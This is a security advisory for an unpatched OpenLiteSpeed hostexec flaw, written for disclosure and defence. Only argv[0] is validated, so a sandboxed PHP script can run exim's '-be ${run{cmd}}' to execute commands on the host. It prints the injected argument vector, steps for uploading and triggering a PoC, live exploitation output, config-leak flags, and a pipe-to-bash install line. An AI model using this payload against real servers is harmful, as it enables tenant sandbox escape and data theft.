The OpenLiteSpeed hostexec daemon validates only
argv[0] (the program path) against a configurable allow-list
before passing the full argument vector to execvpe().
argv[1..N] are completely attacker-controlled.
A PHP script running inside the OLS namespace sandbox connects directly
to the hostexec Unix socket (world-readable, chmod 0666,
bind-mounted into the sandbox) and sends a crafted request with
arbitrary arguments appended to an allowed program. The daemon exec's
the program outside the sandbox with the attacker's flags.
On cPanel + OLS deployments (and any system where
/usr/sbin/sendmail is exim), this yields
arbitrary command execution outside the namespace sandbox
via exim's -be '${run{cmd}}' string expansion mode.
| Software | OpenLiteSpeed |
|---|---|
| Vulnerable | All versions with namespace sandbox — including v1.9.1 (current HEAD, commit 3d16d477) |
| Fixed in | Not fixed — 0day at time of publication |
| Component | src/extensions/cgi/nsnosandbox.c — validate() function |
| Auth required | No — any PHP script running inside a sandboxed vhost |
| Result | Sandbox escape → arbitrary command execution on the host |
| Confirmed on | cPanel + OLS 1.9.1 + exim 4.99.4 on Ubuntu 24.04 (bare metal) |
Any deployment where OLS runs PHP inside a namespace sandbox
(namespace 2 in the OLS config) and the hostexec allow-list
includes a program that can be weaponized via argument injection. The
default allow-list is:
char *s_nosandbox_def[] = { "/usr/sbin/sendmail" };
On systems where /usr/sbin/sendmail points to one of these
MTAs, the sandbox escape is trivially exploitable:
| MTA | Attack vector | Impact |
|---|---|---|
| exim | -be '${run{cmd}}' |
Arbitrary command execution — full shell outside sandbox |
| exim | -bP |
Full server mail config leak (TLS key paths, ACLs, routing) |
| exim | -C /path/to/config |
Load attacker-controlled exim config (if readable) |
| postfix | -C /path/to/config |
Alternate config directory → credential/routing hijack |
| msmtp | -C /home/user/.msmtprc |
SMTP relay hijack via attacker-controlled config |
| any | program-specific flags | Depends on what flags the allowed program accepts |
cPanel + OLS is the primary real-world target. cPanel uses
exim as its MTA, and OLS is offered as an alternative to Apache via
ea-nginx / OLS integration. Any shared hosting server running
this stack gives every tenant a sandbox escape.
The validate() function in nsnosandbox.c
splits the argv blob, then checks only (*argva)[0]
against the sorted allow-list via bsearch():
static int validate(..., char ***argva, ...) {
...
if (split_blob("argv", argv, req->m_argv_len, req->m_argc, argva))
return -1;
char *program = (*argva)[0]; // ← only argv[0] checked
if (!bsearch(&program, s_nosandbox_arr, ...))
{
ls_stderr("Sandbox program not in list: %s\n", program);
return -1;
}
// argv[1], argv[2], ... never validated — passed straight to execvpe()
...
}
After validation, the full argva (including all
attacker-controlled arguments) is passed to run_pgm(),
which calls execvpe(argv[0], argv, env). The program
runs outside the namespace (the hostexec daemon
itself is not sandboxed) as the connecting user's uid (verified via
SO_PEERCRED).
Two related weaknesses compound the argv injection:
The hostexec Unix socket is created with chmod(path, 0666)
(open_nosandbox_socket(), line 459). It's
accessible to any process that can reach the socket path. Inside the
sandbox, /usr/local/lsws/lsns/ is RW-bind-mounted from
the host, making the socket visible and connectable from any PHP
script. No authentication beyond SO_PEERCRED uid ≠ 0.
sanitize_env() strips LD_*, GLIBC_TUNABLES,
shell hooks, and language runtime hooks. But it misses:
PATH — redirect program lookupsHOME — influence ~/.exim*, ~/.forwardTMPDIR — redirect temp files to attacker-controlled dirhttp_proxy / HTTP_PROXY — proxy injectionHOSTALIASES — DNS override via glibcJAVA_TOOL_OPTIONS — JVM agent injectionPHP_INI_SCAN_DIR — if a PHP binary is ever allow-listedThese are secondary to the argv injection but would matter for a defense-in-depth hardening pass.
Confirmed end-to-end on a cPanel server running OLS 1.9.1 with
exim 4.99.4. The attacker is bobuser (uid=1001),
a regular cPanel shared hosting tenant.
bobuser's PHP process is in mount namespace
mnt:[4026532304]. Filesystem is restricted — /etc/shadow
unreadable, /root inaccessible, /tmp isolated.
/usr/local/lsws/lsns/conf/current-hostexec-sock (bind-mounted
into sandbox). PHP opens it with stream_socket_client("unix://...").
No authentication required.
sandbox_init_req_t header +
NUL-separated argv blob + NUL-separated env blob + stdin terminator.
argv = ["/usr/sbin/sendmail", "-be", "${run{/usr/bin/id}}"]
validate() checks /usr/sbin/sendmail against
the allow-list → passes. -be and ${run{...}}
are never inspected.
execvpe("/usr/sbin/sendmail", ["/usr/sbin/sendmail", "-be",
"${run{/usr/bin/id}}"], env) runs outside the
namespace in mnt:[4026531841] (the host init namespace).
-be mode evaluates the string expansion.
${run{/usr/bin/id}} executes /usr/bin/id
on the host and returns the output through stdout → hostexec pipe → PHP.
This is the actual output from the PoC running on a live cPanel + OLS
1.9.1 server. The PHP script runs as bobuser (uid=1001)
inside the sandbox:
=== INSIDE SANDBOX === uid=1001 (bobuser) namespace=mnt:[4026532304] /etc/shadow readable: NO /root readable: NO === OUTSIDE SANDBOX (commands execute on the HOST) === $ id uid=1001(bobuser) gid=975(mailtrap) groups=975(mailtrap),1003(bobuser) $ readlink /proc/self/ns/mnt mnt:[4026531841] ← host init namespace (different!) $ cat /etc/hostname 87-209-3-148.cprapid.com $ wc -l /etc/passwd 59 /etc/passwd ← all cPanel users visible $ touch /tmp/ESCAPED_1783362825 host: -rw------- 1 bobuser mailtrap 0 Jul 6 18:33 /tmp/ESCAPED_1783362825 sandbox sees it: NO (isolated /tmp) ← file on HOST, not in sandbox *** DIFFERENT NAMESPACES — SANDBOX ESCAPED ***
The command runs in mount namespace mnt:[4026531841] (the host),
while PHP is in mnt:[4026532304] (the sandbox). The file written
to /tmp on the host is invisible from inside the sandbox — proof
that code execution occurred outside the namespace boundary.
From any PHP script on a sandboxed OLS vhost (a compromised WordPress plugin, a webshell, a malicious tenant on shared hosting):
/tmp, enumerate other tenants-bP — TLS private key paths, ACL rules, mail routing, smarthost credentials, all exposed without needing ${run{}}/etc/passwd (59 users on our test box), home directory listings, cPanel metadata, all visible from the host namespace.forward files on the host filesystem (as the tenant's own uid, which is the same on host and sandbox)
Note: this does not escalate to root. The hostexec daemon
uses SO_PEERCRED to enforce the connecting uid and calls
setuid(peer_uid) before exec. The attacker gets their own
uid on the host — but they escape the filesystem/mount isolation that
is the entire point of the namespace sandbox.
OLS's namespace sandbox puts each PHP process into a restricted mount
namespace where most of the host filesystem is hidden. When PHP needs
to send mail, it calls mail(), which invokes
/usr/sbin/sendmail -t -i. Inside the sandbox, this binary
has been bind-mounted over with lshostexec
— a small client that connects to the hostexec socket and forwards
its own argv. The daemon validates the program name, then exec's the
real sendmail on the host.
The vulnerability: the daemon cannot distinguish requests from the
legitimate lshostexec client versus a PHP script connecting
directly to the same socket. The wire protocol is identical. The socket
is deliberately accessible to sandboxed processes (that's how
lshostexec works). There is no authentication, no message
signing, no argv validation beyond the program name.
Upload poc_hostexec_escape.php to any OLS-hosted website
with namespace sandboxing enabled. Visit it in a browser or curl it:
# Drop it in a vhost docroot cp poc_hostexec_escape.php /home/someuser/public_html/x.php # Hit it curl http://target:8088/x.php
The script auto-discovers the hostexec socket, proves it's sandboxed
(shows namespace ID, confirms /etc/shadow is blocked),
then escapes and runs commands on the host.
# Against a local hostexec socket (e.g. on the server directly) python3 poc_argv_injection.py /path/to/hostexec.XXXX.sock
# cPanel + OLS (the target deployment): # Install cPanel, then switch to OLS via: /usr/local/cpanel/scripts/install_ols # Or standalone OLS from repo: wget -O - https://repo.litespeed.sh | bash apt install openlitespeed
# In OLS admin console (port :7080) or httpd_config.conf: CGI { namespace 2 # NS_ON — value 1 is NS_ENABLED but won't activate }
# On cPanel: /scripts/createacct --domain testsite.example.com --user testuser # Standalone: create a Linux user and OLS virtualhost pointing # at their docroot with extApp lsphp as the script handler
cp poc_hostexec_escape.php /home/testuser/public_html/escape.php chown testuser:testuser /home/testuser/public_html/escape.php curl -H 'Host: testsite.example.com' http://localhost:8088/escape.php
The output shows the PHP process in one mount namespace and the
hostexec'd commands in a different (host) namespace. Files written
to /tmp on the host are invisible from the sandbox.
| Scenario | Impact |
|---|---|
| cPanel shared hosting (OLS + exim) | Sandbox escape + arbitrary command execution —
any tenant's PHP can run commands on the host. Read other tenants'
files (if permissions allow), access host /etc/passwd,
cPanel config, mail queue, etc. |
| OLS + exim (non-cPanel) | Same — /usr/sbin/sendmail → exim allows
${run{}} command execution |
| OLS + postfix | Config leak via -bv, potential relay hijack via
-C, no direct command execution |
| OLS + msmtp | SMTP relay hijack via -C with attacker config |
| Custom allow-list programs | Depends on what flags the allowed program accepts — any program with a "run command" or "load config file" flag is exploitable |
-t -i (or whatever the legitimate lshostexec client sends). Ideally, hard-code the allowed argument patterns per program.0666 is too broad. Use a dedicated group and 0660, or use SO_PEERCRED to verify the connecting binary is actually lshostexec (check /proc//exe against the expected path).sanitize_env blocklist — add PATH, HOME, TMPDIR, HOSTALIASES, *_proxy, and other glibc/runtime control variables. Or switch to an allowlist model.-t and -i are the only flags that lshostexec legitimately forwards.We have no idea how many servers actually run cPanel + OpenLiteSpeed + exim with namespace sandboxing enabled. It might be a lot. It might be twelve boxes in Latvia. We didn't check. We are not in the business of market research.
What we can say: the vulnerability is real and independent of the MTA.
The argv injection is a logic bug in validate() — it will
pass any argument vector whose argv[0] matches the
allow-list, regardless of what argv[1..N] contain. Exim's
${run{}} just happens to be the most convenient way to
turn "argument injection against sendmail" into "arbitrary command
execution," but -bP (config dump), -C
(alternate config), and other flags are exploitable without it.
Any program on the allow-list that does something interesting when
given unexpected flags is a sandbox escape.
We should also be transparent about our priors: we have zero ambitions around securing multi-user shared hosting on Unix. The entire model — dozens of mutually distrusting tenants sharing a kernel, bolted together with namespace duct tape and UID separation — is, in our considered opinion, not a thing that can be made to work. We found this bug in about four hours of reading C. The next person will find the next one. That's not a challenge; it's an observation.
If you run shared hosting on OLS and this advisory concerns you: good. Patch the argv validation, restrict the socket, and then start thinking about what else is in that codebase.
| 2026-07-06 | Bug discovered during source audit of OLS v1.9.1 hostexec/namespace code |
| 2026-07-06 | Sandbox escape confirmed on live cPanel + OLS 1.9.1 + exim 4.99.4 (Ubuntu 24.04) |
| 2026-07-06 | Arbitrary command execution via ${run{}} confirmed end-to-end |
| — | No CVE assigned. No vendor contact. No patch available. |